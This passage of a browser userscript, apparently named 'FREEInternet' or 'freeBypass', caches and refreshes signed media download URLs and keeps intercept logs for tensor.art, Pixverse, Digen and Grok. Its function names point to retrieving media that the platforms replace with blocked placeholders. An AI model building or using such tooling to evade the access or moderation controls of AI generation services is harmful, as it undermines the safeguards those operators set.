          ? '#freeinternet-tensor-warm-create'
          : '#freeinternet-tensor-warm-library';
        const url = path === 'library-web/v1/entry/create'
          ? 'https://tensor.art/' + hash
          : 'https://tensor.art/library' + hash;
        const pageWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
        if (typeof GM_openInTab === 'function') {
          newTab = GM_openInTab(url, { active: true, insert: true });
        } else {
          newTab = pageWindow.open(url, '_blank', 'width=800,height=600');
          try { if (newTab) newTab.focus(); } catch { /* ignore */ }
        }
      } catch (e) {
        cleanup(false, 'tab-open-failed: ' + String(e && e.message || e));
      }
    });
  }
  // Diagnostics: track which bearer token was used for the last API call.
  // (Helps debug multi-account mode + cached tasks.)
  let lastAuthTokenUsed = null;
  let lastAuthTokenUsedAt = null;
  let lastAuthTokenUsedContext = null;
  const urlCache = new Map();
  const cacheTimestamps = new Map();

  // ── Batch Download URL Queue ────────────────────────────────────────────────
  // Instead of one HTTP request per image ID, we queue IDs and send them in
  // batches of DOWNLOAD_URL_BATCH_SIZE (up to 50 supported by the API).
  // A 60ms debounce collects IDs that pile up synchronously (e.g. Promise.all),
  // then flushes in groups of 30 with a 1-second pause between batches.
  const DOWNLOAD_URL_BATCH_SIZE = 30;
  const DOWNLOAD_URL_BATCH_DEBOUNCE_MS = 60;
  const DOWNLOAD_URL_BATCH_INTERVAL_MS = 1000;
  const _downloadUrlBatchQueue = new Map(); // imageId → {resolve, reject, mimeTypeHint, forceKind}
  let _downloadUrlBatchFlushTimer = null;
  let _downloadUrlBatchFlushing = false;
  // ────────────────────────────────────────────────────────────────────────────

  // Persistent download URL cache (video-only to reduce localStorage pressure)
  const DOWNLOAD_URL_CACHE_STORAGE_KEY = 'freeBypassDownloadUrlCacheV2';
  // v3 adds per-URL expiry (expAt) derived from signed URL params (e.g., X-Amz-Expires)
  const DOWNLOAD_URL_CACHE_STORAGE_VERSION = 3;
  const DOWNLOAD_URL_CACHE_MAX_ENTRIES = 1200;
  let downloadUrlCachePersistTimer = null;
  let downloadUrlCacheLoadedFromStorage = false;

  // Signed media URLs frequently expire (e.g. Cloudflare R2 S3-style signed URLs).
  // Keep a safety buffer so we refresh before the server starts returning 403.
  const SIGNED_URL_EXPIRY_SAFETY_MS = 30 * 1000;
  const SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS = 2 * 60 * 1000;

  function parseAmzDateToMs(value) {
    // AWS style: 20260302T105416Z
    const s = String(value || '').trim();
    const m = s.match(/^(\d{4})(\d{2})(\d{2})T(\d{2})(\d{2})(\d{2})Z$/);
    if (!m) return null;
    const y = Number(m[1]);
    const mo = Number(m[2]);
    const d = Number(m[3]);
    const hh = Number(m[4]);
    const mm = Number(m[5]);
    const ss = Number(m[6]);
    if (![y, mo, d, hh, mm, ss].every(Number.isFinite)) return null;
    return Date.UTC(y, mo - 1, d, hh, mm, ss);
  }

  function getSignedUrlExpiryMs(url) {
    if (!url) return null;
    try {
      const u = new URL(String(url), location.href);
      // Common params:
      // - X-Amz-Date + X-Amz-Expires (seconds)
      // - Expires (seconds) (sometimes present)
      const amzDate = u.searchParams.get('X-Amz-Date') || u.searchParams.get('x-amz-date');
      const amzExpires = u.searchParams.get('X-Amz-Expires') || u.searchParams.get('x-amz-expires');
      const expRaw = amzExpires || u.searchParams.get('Expires') || u.searchParams.get('expires');

      const expSeconds = expRaw != null ? Number(String(expRaw).trim()) : NaN;
      if (!Number.isFinite(expSeconds) || expSeconds <= 0) return null;

      const base = amzDate ? parseAmzDateToMs(amzDate) : null;
      const startMs = base != null ? base : Date.now();
      return startMs + (expSeconds * 1000);
    } catch {
      return null;
    }
  }

  function normalizeCacheMeta(raw) {
    // Legacy values were numbers (ts). New format: { ts, expAt }
    if (typeof raw === 'number' && Number.isFinite(raw)) {
      return { ts: raw, expAt: null };
    }
    if (raw && typeof raw === 'object') {
      const ts = Number(raw.ts);
      const expAt = raw.expAt == null ? null : Number(raw.expAt);
      return {
        ts: Number.isFinite(ts) && ts > 0 ? ts : Date.now(),
        expAt: Number.isFinite(expAt) && expAt > 0 ? expAt : null
      };
    }
    return { ts: Date.now(), expAt: null };
  }

  function setCacheMeta(key, meta) {
    cacheTimestamps.set(key, {
      ts: Number(meta?.ts) || Date.now(),
      expAt: meta?.expAt == null ? null : (Number(meta.expAt) || null)
    });
  }

  function isCacheEntryExpired(meta, now = Date.now()) {
    const expAt = meta?.expAt;
    if (!expAt || !Number.isFinite(expAt)) return false;
    return now >= (expAt - SIGNED_URL_EXPIRY_SAFETY_MS);
  }

  function getSignedUrlRemainingMs(url, now = Date.now()) {
    const expAt = getSignedUrlExpiryMs(url);
    if (!expAt || !Number.isFinite(expAt)) return null;
    return expAt - now;
  }

  function isUsableBypassMediaUrl(url, options = {}) {
    if (!url || isBlockedPlaceholderUrl(url)) return false;
    const minRemainingMs = Math.max(0, Number(options?.minRemainingMs) || 0);
    const remainingMs = getSignedUrlRemainingMs(url);
    if (remainingMs != null && remainingMs <= minRemainingMs) return false;
    return true;
  }

  function getFreshCachedDownloadUrlForIntercept(imageId, mimeTypeHint = '', forceKind = '', minRemainingMs = SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS) {
    const cached = getCachedDownloadUrl(imageId, mimeTypeHint, forceKind);
    if (!cached) return null;
    if (isUsableBypassMediaUrl(cached, { minRemainingMs })) return cached;
    deleteCachedDownloadUrl(imageId);
    return null;
  }

  function attachAutoRefreshOnMediaError(mediaEl, imageId, mimeTypeHint = '', options = {}) {
    if (!mediaEl || !imageId) return;
    const forceKind = options.forceKind || getMediaKindFromMime(mimeTypeHint) || '';
    let retried = false;
    const onErr = async () => {
      if (retried) return;
      retried = true;
      try {
        deleteCachedDownloadUrl(imageId);
        const fresh = await ensureDownloadUrl(imageId, mimeTypeHint, { bypassCache: true, forceKind });
        if (!fresh) return;
        if (mediaEl.tagName === 'VIDEO') {
          try {
            mediaEl.pause?.();
          } catch {}
          // Reset then set (some browsers cache failed sources)
          try {
            mediaEl.removeAttribute('src');
            mediaEl.load?.();
          } catch {}
          mediaEl.src = fresh;
          try {
            mediaEl.load?.();
          } catch {}
        } else {
          mediaEl.src = fresh;
          if (mediaEl.srcset != null) {
            try {
              mediaEl.srcset = `${fresh} 1x`;
            } catch {}
          }
        }
      } catch {
        // ignore
      }
    };

    try {
      mediaEl.addEventListener('error', onErr, { once: false });
    } catch {
      // ignore
    }
  }

  function shouldPersistDownloadCacheKey(cacheKey) {
    // Requirement: persist video download endpoint resolutions across refresh.
    // Cache keys are of the form `${imageId}|${kind}`.
    return typeof cacheKey === 'string' && cacheKey.endsWith('|video');
  }

  function pruneDownloadUrlCacheInMemory() {
    if (!settings.cachingEnabled) return;
    const maxAgeMs = (Number(settings.cacheDuration) || 7) * 24 * 60 * 60 * 1000;
    const now = Date.now();
    for (const [key, rawMeta] of cacheTimestamps.entries()) {
      const url = downloadUrlCache.get(key);
      const meta = normalizeCacheMeta(rawMeta);
      // Backfill expAt if possible
      if (!meta.expAt && url) {
        const expAt = getSignedUrlExpiryMs(url);
        if (expAt) {
          meta.expAt = expAt;
          setCacheMeta(key, meta);
        }
      }
      if (isCacheEntryExpired(meta, now) || (now - meta.ts) > maxAgeMs) {
        downloadUrlCache.delete(key);
        cacheTimestamps.delete(key);
      }
    }
  }

  function loadDownloadUrlCacheFromStorage() {
    if (downloadUrlCacheLoadedFromStorage) return;
    downloadUrlCacheLoadedFromStorage = true;
    try {
      const raw = localStorage.getItem(DOWNLOAD_URL_CACHE_STORAGE_KEY);
      if (!raw) return;
      const parsed = JSON.parse(raw);
      if (!parsed || typeof parsed !== 'object') return;
      // Accept older versions for migration.
      if (parsed.v && ![2, 3].includes(Number(parsed.v))) {
        // Unknown version; ignore.
        return;
      }
      const items = parsed.items;
      if (!items || typeof items !== 'object') return;

      let loaded = 0;
      for (const [key, entry] of Object.entries(items)) {
        if (!shouldPersistDownloadCacheKey(key)) continue;
        const url = typeof entry?.url === 'string' ? entry.url : null;
        const ts = Number(entry?.ts);
        const expAt = entry?.expAt == null ? null : Number(entry?.expAt);
        if (!url) continue;
        downloadUrlCache.set(key, url);
        const meta = {
          ts: (Number.isFinite(ts) && ts > 0) ? ts : Date.now(),
          expAt: (Number.isFinite(expAt) && expAt > 0) ? expAt : (getSignedUrlExpiryMs(url) || null)
        };
        setCacheMeta(key, meta);
        loaded += 1;
      }

      if (domInjectDebug && loaded > 0) {
        console.log('[Cache] Loaded persisted video URLs:', loaded);
      }
      pruneDownloadUrlCacheInMemory();
    } catch (err) {
      if (domInjectDebug) console.warn('[Cache] Failed to load persisted download URL cache:', err);
    }
  }

  function persistDownloadUrlCacheNow() {
    if (!settings.cachingEnabled) return;
    try {
      pruneDownloadUrlCacheInMemory();
      const entries = [];
      for (const [key, url] of downloadUrlCache.entries()) {
        if (!shouldPersistDownloadCacheKey(key)) continue;
        if (!url || typeof url !== 'string') continue;
        const meta = normalizeCacheMeta(cacheTimestamps.get(key));
        // Backfill expAt if missing
        if (!meta.expAt) {
          const expAt = getSignedUrlExpiryMs(url);
          if (expAt) meta.expAt = expAt;
        }
        entries.push({ key, url, ts: Number(meta.ts) || Date.now(), expAt: meta.expAt || null });
      }

      // Keep newest entries only to avoid quota issues.
      entries.sort((a, b) => (b.ts || 0) - (a.ts || 0));
      const limited = entries.slice(0, DOWNLOAD_URL_CACHE_MAX_ENTRIES);

      const payload = {
        v: DOWNLOAD_URL_CACHE_STORAGE_VERSION,
        savedAt: Date.now(),
        items: Object.fromEntries(limited.map(e => [e.key, { url: e.url, ts: e.ts, expAt: e.expAt }]))
      };

      // Uses quota-safe helper (defined later).
      safeLocalStorageSet(DOWNLOAD_URL_CACHE_STORAGE_KEY, JSON.stringify(payload));
    } catch (err) {
      if (domInjectDebug) console.warn('[Cache] Failed to persist download URL cache:', err);
    }
  }

  function schedulePersistDownloadUrlCache() {
    if (!settings.cachingEnabled) return;
    if (downloadUrlCachePersistTimer) return;
    downloadUrlCachePersistTimer = setTimeout(() => {
      downloadUrlCachePersistTimer = null;
      persistDownloadUrlCacheNow();
    }, 700);
  }

  // Hydrate in-memory cache from localStorage as early as possible.
  loadDownloadUrlCacheFromStorage();

  // Ensure we don't lose newly resolved video URLs on fast refresh/navigation.
  window.addEventListener('pagehide', () => {
    try {
      if (settings.cachingEnabled) persistDownloadUrlCacheNow();
    } catch {
      // ignore
    }
  });
  document.addEventListener('visibilitychange', () => {
    try {
      if (document.visibilityState === 'hidden' && settings.cachingEnabled) persistDownloadUrlCacheNow();
    } catch {
      // ignore
    }
  });

  // Developer systems storage
  const DEV_INJECT_TASKS_KEY = 'freeBypassDevInjectTasks';
  const DEV_LOGS_KEY = 'freeBypassDeveloperLogs';

  function setDevelopersSubTab(tabId) {
    developersSubTab = tabId;
    localStorage.setItem('freeBypassDevelopersSubTab', developersSubTab);
  }

  function loadDeveloperLogs() {
    try {
      const raw = localStorage.getItem(DEV_LOGS_KEY);
      if (!raw) return [];
      const parsed = JSON.parse(raw);
      if (Array.isArray(parsed)) return parsed;
      if (parsed && Array.isArray(parsed.items)) return parsed.items;
      return [];
    } catch {
      return [];
    }
  }

  function saveDeveloperLogs(items) {
    try {
      localStorage.setItem(DEV_LOGS_KEY, JSON.stringify(items || []));
    } catch (err) {
      // If storage is full, try to truncate aggressively.
      try {
        const trimmed = Array.isArray(items) ? items.slice(-Math.max(50, Math.min(settings.developerMaxLogs || 500, 200))) : [];
        localStorage.setItem(DEV_LOGS_KEY, JSON.stringify(trimmed));
      } catch {
        // no-op
      }
      if (domInjectDebug) console.warn('[DeveloperLogs] Failed to save logs:', err);
    }
  }

  function addDeveloperLog(entry) {
    const max = Math.max(50, Math.min(5000, Number(settings.developerMaxLogs) || 500));
    const logs = loadDeveloperLogs();
    const safe = {
      id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
      ts: new Date().toISOString(),
      level: entry?.level || 'info',
      tag: entry?.tag || 'developer',
      source: entry?.source || 'unknown',
      message: entry?.message || '',
      details: entry?.details || null,
      url: location.href
    };
    logs.push(safe);
    if (logs.length > max) {
      logs.splice(0, logs.length - max);
    }
    saveDeveloperLogs(logs);
    return safe;
  }

  function devLog(source, message, details = null, level = 'info', tag = 'developer') {
    return addDeveloperLog({ source, message, details, level, tag });
  }

  const TENSOR_INTERCEPT_LOGS_KEY = 'freeBypassTensorInterceptLogsV1';

  function loadTensorInterceptLogs() {
    try {
      const raw = localStorage.getItem(TENSOR_INTERCEPT_LOGS_KEY);
      if (!raw) return [];
      const parsed = JSON.parse(raw);
      return Array.isArray(parsed) ? parsed : [];
    } catch {
      return [];
    }
  }

  function saveTensorInterceptLogs(logs) {
    try {
      localStorage.setItem(TENSOR_INTERCEPT_LOGS_KEY, JSON.stringify(Array.isArray(logs) ? logs : []));
    } catch {
      // ignore
    }
  }

  function clearTensorInterceptLogs() {
    saveTensorInterceptLogs([]);
  }

  function freeInternetConsoleLog(scope, level, message, details = null) {
    const normalizedLevel = String(level || 'info').toLowerCase();
    const palette = normalizedLevel === 'error'
      ? { badge: '#ef4444', text: '#fee2e2', border: 'rgba(239,68,68,0.45)' }
      : normalizedLevel === 'warn' || normalizedLevel === 'warning'
        ? { badge: '#f59e0b', text: '#fef3c7', border: 'rgba(245,158,11,0.45)' }
        : normalizedLevel === 'success'
          ? { badge: '#22c55e', text: '#dcfce7', border: 'rgba(34,197,94,0.45)' }
          : { badge: '#38bdf8', text: '#e0f2fe', border: 'rgba(56,189,248,0.45)' };
    const method = normalizedLevel === 'error'
      ? 'error'
      : (normalizedLevel === 'warn' || normalizedLevel === 'warning' ? 'warn' : 'log');
    const safeScope = String(scope || 'UI').trim() || 'UI';
    const badgeStyle = `background:${palette.badge};color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid ${palette.border};`;
    const textStyle = `color:${palette.text};font-weight:700;`;
    if (details != null) {
      console[method](`%cFREEInternet ${safeScope}%c ${String(message || '')}`, badgeStyle, textStyle, details);
      return;
    }
    console[method](`%cFREEInternet ${safeScope}%c ${String(message || '')}`, badgeStyle, textStyle);
  }

  function tensorInterceptConsoleLog(level, message, details = null) {
    if (!IS_TENSOR_DOMAIN) return;
    freeInternetConsoleLog('Tensor', level, message, details);
  }

  function addTensorInterceptUiLog(level, message, details = null) {
    tensorInterceptConsoleLog(level, message, details);
    if (!settings.tensorInterceptEnableUiLogs) return;
    const max = Math.max(50, Math.min(5000, Number(settings.tensorInterceptMaxLogs) || 600));
    const logs = loadTensorInterceptLogs();
    logs.push({
      id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
      ts: new Date().toISOString(),
      level: String(level || 'info').toLowerCase(),
      message: String(message || ''),
      details: details || null
    });
    if (logs.length > max) logs.splice(0, logs.length - max);
    saveTensorInterceptLogs(logs);
    refreshLiveLogPanel('tensorIntercept');
  }

  function tensorInterceptLog(level, message, details = null) {
    addTensorInterceptUiLog(level, message, details);
  }

  function exportTensorInterceptLogsToJson() {
    const logs = loadTensorInterceptLogs();
    const payload = {
      kind: 'bypass-tensor-intercept-logs-export',
      version: 1,
      exportedAt: new Date().toISOString(),
      count: logs.length,
      source: {
        domain: window.location.hostname,
        href: window.location.href
      },
      items: logs
    };
    downloadJsonFile(`bypass_tensor_intercept_logs_${buildExportTimestamp()}.json`, payload);
    showToast(`Exported ${logs.length} Tensor intercept log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
  }

  async function copyTensorInterceptLogsToClipboard() {
    const logs = loadTensorInterceptLogs();
    const text = JSON.stringify({
      kind: 'bypass-tensor-intercept-logs-copy',
      exportedAt: new Date().toISOString(),
      count: logs.length,
      items: logs
    }, null, 2);

    if (navigator.clipboard?.writeText) {
      await navigator.clipboard.writeText(text);
      showToast('Tensor intercept logs copied to clipboard', 'success');
      return;
    }

    downloadTextFile(`bypass_tensor_intercept_logs_${buildExportTimestamp()}.txt`, text, 'text/plain');
    showToast('Clipboard unavailable, downloaded Tensor intercept logs as text', 'warning');
  }

  class DigenIndexedStore {
    static dbName = 'digenS';
    static dbVersion = 1;
    static dbp = null;
    static storesToCreate = new Set();

    constructor({ storeName }) {
      if (!storeName) throw new Error('storeName is required');
      this.storeName = storeName;
      DigenIndexedStore.storesToCreate.add(storeName);
    }

    async init() {
      if (DigenIndexedStore.dbp) return DigenIndexedStore.dbp;
      DigenIndexedStore.dbp = new Promise((resolve, reject) => {
        const request = indexedDB.open(DigenIndexedStore.dbName, DigenIndexedStore.dbVersion);
        request.onupgradeneeded = (e) => {
          const db = e.target.result;
          for (const storeName of DigenIndexedStore.storesToCreate) {
            if (!db.objectStoreNames.contains(storeName)) {
              db.createObjectStore(storeName, { keyPath: 'id' });
            }
          }
        };
        request.onsuccess = (e) => resolve(e.target.result);
        request.onerror = (e) => reject(e.target.error);
      });
      return DigenIndexedStore.dbp;
    }

    async get(id) {
      const db = await this.init();
      return new Promise((resolve, reject) => {
        const tx = db.transaction(this.storeName, 'readonly');
        const req = tx.objectStore(this.storeName).get(id);
        req.onsuccess = (e) => resolve(e.target.result);
        req.onerror = (e) => reject(e.target.error);
      });
    }

    async getAll(filterFn, sortField = 'created_at', desc = true) {
      const db = await this.init();
      return new Promise((resolve, reject) => {
        const tx = db.transaction(this.storeName, 'readonly');
        const req = tx.objectStore(this.storeName).getAll();
        req.onsuccess = (e) => {
          let result = e.target.result || [];
          if (typeof filterFn === 'function') result = result.filter(filterFn);
          result.sort((a, b) => {
            const aValue = a?.[sortField] ?? a?.createdAtTimestamp ?? a?.createdAt;
            const bValue = b?.[sortField] ?? b?.createdAtTimestamp ?? b?.createdAt;
            if (!aValue || !bValue) return 0;
            const aDate = new Date(aValue);
            const bDate = new Date(bValue);
            return desc ? bDate - aDate : aDate - bDate;
          });
          resolve(result);
        };
        req.onerror = (e) => reject(e.target.error);
      });
    }

    async put(record) {
      if (!record || !record.id) throw new Error('Record must have an id');
      const db = await this.init();
      return new Promise((resolve, reject) => {
        const tx = db.transaction(this.storeName, 'readwrite');
        const req = tx.objectStore(this.storeName).put(record);
        req.onsuccess = () => resolve(record);
        req.onerror = (e) => reject(e.target.error);
      });
    }

    async clear() {
      const db = await this.init();
      return new Promise((resolve, reject) => {
        const tx = db.transaction(this.storeName, 'readwrite');
        const req = tx.objectStore(this.storeName).clear();
        req.onsuccess = () => resolve(true);
        req.onerror = (e) => reject(e.target.error);
      });
    }
  }

  const digenJobs = new DigenIndexedStore({ storeName: 'jobs' });
  const DIGEN_LOGS_KEY = 'freeBypassDigenLogsV1';

  function loadDigenLogs() {
    try {
      const raw = localStorage.getItem(DIGEN_LOGS_KEY);
      if (!raw) return [];
      const parsed = JSON.parse(raw);
      return Array.isArray(parsed) ? parsed : [];
    } catch {
      return [];
    }
  }

  function saveDigenLogs(logs) {
    try {
      localStorage.setItem(DIGEN_LOGS_KEY, JSON.stringify(Array.isArray(logs) ? logs : []));
    } catch {
      // ignore
    }
  }

  function addDigenUiLog(level, message, details = null) {
    if (!settings.digenEnableUiLogs) return;
    const max = Math.max(50, Math.min(5000, Number(settings.digenMaxLogs) || 500));
    const logs = loadDigenLogs();
    logs.push({
      id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
      ts: new Date().toISOString(),
      level: String(level || 'info').toLowerCase(),
      message: String(message || ''),
      details: details || null
    });
    if (logs.length > max) logs.splice(0, logs.length - max);
    saveDigenLogs(logs);
    refreshLiveLogPanel('digen');
  }

  function clearDigenUiLogs() {
    saveDigenLogs([]);
  }

  function buildExportTimestamp() {
    const d = new Date();
    const pad = (n) => String(n).padStart(2, '0');
    return `${d.getFullYear()}${pad(d.getMonth() + 1)}${pad(d.getDate())}_${pad(d.getHours())}${pad(d.getMinutes())}${pad(d.getSeconds())}`;
  }

  async function exportDigenJobsToJson() {
    const jobs = await getDigenJobsForUi();
    const payload = {
      kind: 'bypass-digen-jobs-export',
      version: 1,
      exportedAt: new Date().toISOString(),
      count: jobs.length,
      source: {
        domain: window.location.hostname,
        href: window.location.href
      },
      items: jobs
    };
    downloadJsonFile(`bypass_digen_jobs_${buildExportTimestamp()}.json`, payload);
    addDigenUiLog('success', 'Exported Digen jobs to JSON', { count: jobs.length });
    showToast(`Exported ${jobs.length} Digen item(s)`, 'success');
  }

  function exportDigenLogsToJson() {
    const logs = loadDigenLogs();
    const payload = {
      kind: 'bypass-digen-logs-export',
      version: 1,
      exportedAt: new Date().toISOString(),
      count: logs.length,
      source: {
        domain: window.location.hostname,
        href: window.location.href
      },
      items: logs
    };
    downloadJsonFile(`bypass_digen_logs_${buildExportTimestamp()}.json`, payload);
    addDigenUiLog('success', 'Exported Digen logs to JSON', { count: logs.length });
    showToast(`Exported ${logs.length} Digen log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
  }

  async function getDigenJobsForUi() {
    try {
      const all = await digenJobs.getAll(null, 'created_at', true);
      return Array.isArray(all) ? all : [];
    } catch (err) {
      addDigenUiLog('error', 'Failed to read Digen jobs from IndexedDB', { error: String(err?.message || err) });
      return [];
    }
  }

  async function upsertDigenJob(record, reason = 'unknown') {
    if (!record || record.id == null) return null;
    const idNum = Number(record.id);
    const id = Number.isFinite(idNum) ? idNum : record.id;
    const existing = await digenJobs.get(id).catch(() => null);
    const merged = { ...(existing || {}), ...record, id };
    await digenJobs.put(merged);
    addDigenUiLog(existing ? 'info' : 'success', existing ? 'Updated Digen job' : 'Added Digen job', {
      id,
      reason,
      status: merged?.status ?? null,
      hasThumb: !!(merged?.thumbnail || merged?.resource_urls?.[0]?.thumbnail)
    });
    return merged;
  }

  function loadPixverseLogs() {
    try {
      const raw = localStorage.getItem(PIXVERSE_LOGS_KEY);
      if (!raw) return [];
      const parsed = JSON.parse(raw);
      return Array.isArray(parsed) ? parsed : [];
    } catch {
      return [];
    }
  }

  function savePixverseLogs(logs) {
    try {
      localStorage.setItem(PIXVERSE_LOGS_KEY, JSON.stringify(Array.isArray(logs) ? logs : []));
    } catch {
      // ignore
    }
  }

  function addPixverseUiLog(level, message, details = null) {
    if (!settings.pixverseEnableUiLogs) return;
    const max = Math.max(50, Math.min(5000, Number(settings.pixverseMaxLogs) || 500));
    const logs = loadPixverseLogs();
    logs.push({
      id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
      ts: new Date().toISOString(),
      level: String(level || 'info').toLowerCase(),
      message: String(message || ''),
      details: details || null
    });
    if (logs.length > max) logs.splice(0, logs.length - max);
    savePixverseLogs(logs);
    refreshLiveLogPanel('pixverse');
  }

  function clearPixverseUiLogs() {
    savePixverseLogs([]);
  }

  function exportPixverseLogsToJson() {
    const logs = loadPixverseLogs();
    const payload = {
      kind: 'bypass-pixverse-logs-export',
      version: 1,
      exportedAt: new Date().toISOString(),
      count: logs.length,
      source: {
        domain: window.location.hostname,
        href: window.location.href
      },
      items: logs
    };
    downloadJsonFile(`bypass_pixverse_logs_${buildExportTimestamp()}.json`, payload);
    showToast(`Exported ${logs.length} Pixverse log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
  }

  async function copyPixverseLogsToClipboard() {
    const logs = loadPixverseLogs();
    const text = JSON.stringify({
      kind: 'bypass-pixverse-logs-copy',
      exportedAt: new Date().toISOString(),
      count: logs.length,
      items: logs
    }, null, 2);

    if (navigator.clipboard?.writeText) {
      await navigator.clipboard.writeText(text);
      showToast('Pixverse logs copied to clipboard', 'success');
      return;
    }

    downloadTextFile(`bypass_pixverse_logs_${buildExportTimestamp()}.txt`, text, 'text/plain');
    showToast('Clipboard unavailable, downloaded logs as text file', 'warning');
  }

  function loadPixverseMediaCache() {
    try {
      const raw = localStorage.getItem(PIXVERSE_MEDIA_CACHE_KEY);
      if (!raw) return {};
      const parsed = JSON.parse(raw);
      return parsed && typeof parsed === 'object' ? parsed : {};
    } catch {
      return {};
    }
  }

  function savePixverseMediaCache(cache) {
    try {
      localStorage.setItem(PIXVERSE_MEDIA_CACHE_KEY, JSON.stringify(cache || {}));
    } catch {
      // ignore
    }
  }

  function upsertPixverseMediaEntry(entry = {}) {
    if (!settings.pixverseCaptureMediaLinks) return;
    const id = String(entry.id || entry.mediaId || entry.asset_id || entry.image_id || entry.video_id || '').trim();
    const url = String(entry.url || entry.video_url || entry.image_url || entry.previewUrl || '').trim();
    if (!id || !url) {
      addPixverseUiLog('warn', 'Skipped media cache upsert (missing id/url)', {
        idCandidate: id || null,
        hasUrl: !!url,
        source: entry?.source || null,
        type: entry?.type || entry?.mediaType || null
      });
      return;
    }
    const cache = loadPixverseMediaCache();
    const previous = cache[id] || {};
    const normalizedType = entry.mediaType || entry.type || previous.mediaType || (String(entry.mimeType || '').startsWith('video/') ? 'video' : (String(url).includes('.mp4') ? 'video' : 'image'));
    const normalizedSource = entry.source || previous.source || 'pixverse';
    const now = Date.now();
    const next = {
      ...previous,
      id,
      mediaId: entry.mediaId || previous.mediaId || id,
      taskId: entry.taskId || previous.taskId || null,
      url,
      previewUrl: entry.previewUrl || previous.previewUrl || '',
      source: normalizedSource,
      mediaType: normalizedType,
      mimeType: entry.mimeType || previous.mimeType || '',
      width: entry.width || previous.width || null,
      height: entry.height || previous.height || null,
      createdAt: entry.createdAt || previous.createdAt || null,
      updatedAt: now,
      name: entry.name || previous.name || '',
      raw: entry.raw || previous.raw || null
    };

    const overwrite = {};
    if (previous.url && previous.url !== next.url) overwrite.url = { from: previous.url, to: next.url };
    if (previous.previewUrl && previous.previewUrl !== next.previewUrl) overwrite.previewUrl = { from: previous.previewUrl, to: next.previewUrl };
    if (previous.mediaType && previous.mediaType !== next.mediaType) overwrite.mediaType = { from: previous.mediaType, to: next.mediaType };
    if (previous.source && previous.source !== next.source) overwrite.source = { from: previous.source, to: next.source };
    if (previous.taskId && previous.taskId !== next.taskId) overwrite.taskId = { from: previous.taskId, to: next.taskId };

    cache[id] = next;
    savePixverseMediaCache(cache);

    if (!Object.keys(previous).length) {
      addPixverseUiLog('success', 'Cached new Pixverse media entry', {
        id,
        source: normalizedSource,
        mediaType: normalizedType,
        taskId: next.taskId || null
      });
    } else if (Object.keys(overwrite).length) {
      addPixverseUiLog('info', 'Updated Pixverse cache entry (overwrite detected)', {
        id,
        source: normalizedSource,
        mediaType: normalizedType,
        overwrite
      });
    }

  }

  function getPixverseMediaEntries() {
    const cache = loadPixverseMediaCache();
    return Object.values(cache).sort((a, b) => Number(b.updatedAt || 0) - Number(a.updatedAt || 0));
  }

  function loadGrokLogs() {
    try {
      const raw = localStorage.getItem(GROK_LOGS_KEY);
      if (!raw) return [];
      const parsed = JSON.parse(raw);
      return Array.isArray(parsed) ? parsed : [];
    } catch {
      return [];
    }
  }

  function saveGrokLogs(logs) {
    try {
      localStorage.setItem(GROK_LOGS_KEY, JSON.stringify(Array.isArray(logs) ? logs : []));
    } catch {
      // ignore
    }
  }

  function addGrokUiLog(level, message, details = null) {
    if (!settings.grokEnableUiLogs) return;
    const max = Math.max(50, Math.min(5000, Number(settings.grokMaxLogs) || 500));
    const logs = loadGrokLogs();
    logs.push({
      id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
      ts: new Date().toISOString(),
      level: String(level || 'info').toLowerCase(),
      message: String(message || ''),
      details: details || null
    });
    if (logs.length > max) logs.splice(0, logs.length - max);
    saveGrokLogs(logs);
    refreshLiveLogPanel('grok');
  }

  function clearGrokUiLogs() {
    saveGrokLogs([]);
  }

  function exportGrokLogsToJson() {
    const logs = loadGrokLogs();
    const payload = {
      kind: 'bypass-grok-logs-export',
      version: 1,
      exportedAt: new Date().toISOString(),
      count: logs.length,
      source: {
        domain: window.location.hostname,
        href: window.location.href
      },
      items: logs
    };
    downloadJsonFile(`bypass_grok_logs_${buildExportTimestamp()}.json`, payload);
    showToast(`Exported ${logs.length} Grok log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
  }

  function loadGrokMediaCache() {
    try {
      const raw = localStorage.getItem(GROK_MEDIA_CACHE_KEY);
      if (!raw) return {};
      const parsed = JSON.parse(raw);
      return parsed && typeof parsed === 'object' ? parsed : {};
    } catch {
      return {};
    }
  }

  function saveGrokMediaCache(cache) {
    try {
      localStorage.setItem(GROK_MEDIA_CACHE_KEY, JSON.stringify(cache || {}));
    } catch {
      // ignore
    }
  }

  function normalizeGrokMediaUrl(value = '', mediaType = 'video') {
    const input = String(value || '').trim();
    if (!input) return '';
    if (/^https?:\/\//i.test(input)) return input;
    const clean = input.replace(/^\/+/, '');

    // Prefer Grok asset host for user/generated paths.
    if (/^(users|generated)\//i.test(clean) || clean.includes('/generated/')) {
      return `https://assets.grok.com/${clean}`;
    }

    // Keep imagine-public support for known share paths.
    if (/^(imagine-public|share-images|share-videos)\//i.test(clean) || /share-images|share-videos/i.test(clean)) {
      return `https://imagine-public.x.ai/${clean}`;
    }

    // Absolute-like path fallback: assume Grok assets first.
    if (input.startsWith('/')) return `https://assets.grok.com${input}`;

    // Relative paths with slashes should resolve to assets.grok.com.
    if (clean.includes('/')) return `https://assets.grok.com/${clean}`;

    // Bare IDs are ambiguous and often produce wrong links; skip.
    return '';
  }

  function upsertGrokMediaEntry(entry = {}) {
    if (!settings.grokCaptureMediaLinks) return;
    const rawType = String(entry.mediaType || entry.type || '').toLowerCase();
    const mediaType = rawType === 'image' ? 'image' : (rawType === 'video' ? 'video' : (String(entry.url || '').includes('.mp4') ? 'video' : 'image'));
    const normalizedUrl = normalizeGrokMediaUrl(
      entry.url || entry.mediaUrl || entry.videoUrl || entry.imageUrl || entry.videoId || entry.imageId || entry.imageReference || '',
      mediaType
    );
    const id = String(entry.id || entry.mediaId || entry.videoId || entry.imageId || entry.asset_id || normalizedUrl || '').trim();
    if (!id || !normalizedUrl) return;

    const cache = loadGrokMediaCache();
    const prev = cache[id] || {};
    cache[id] = {
      ...prev,
      id,
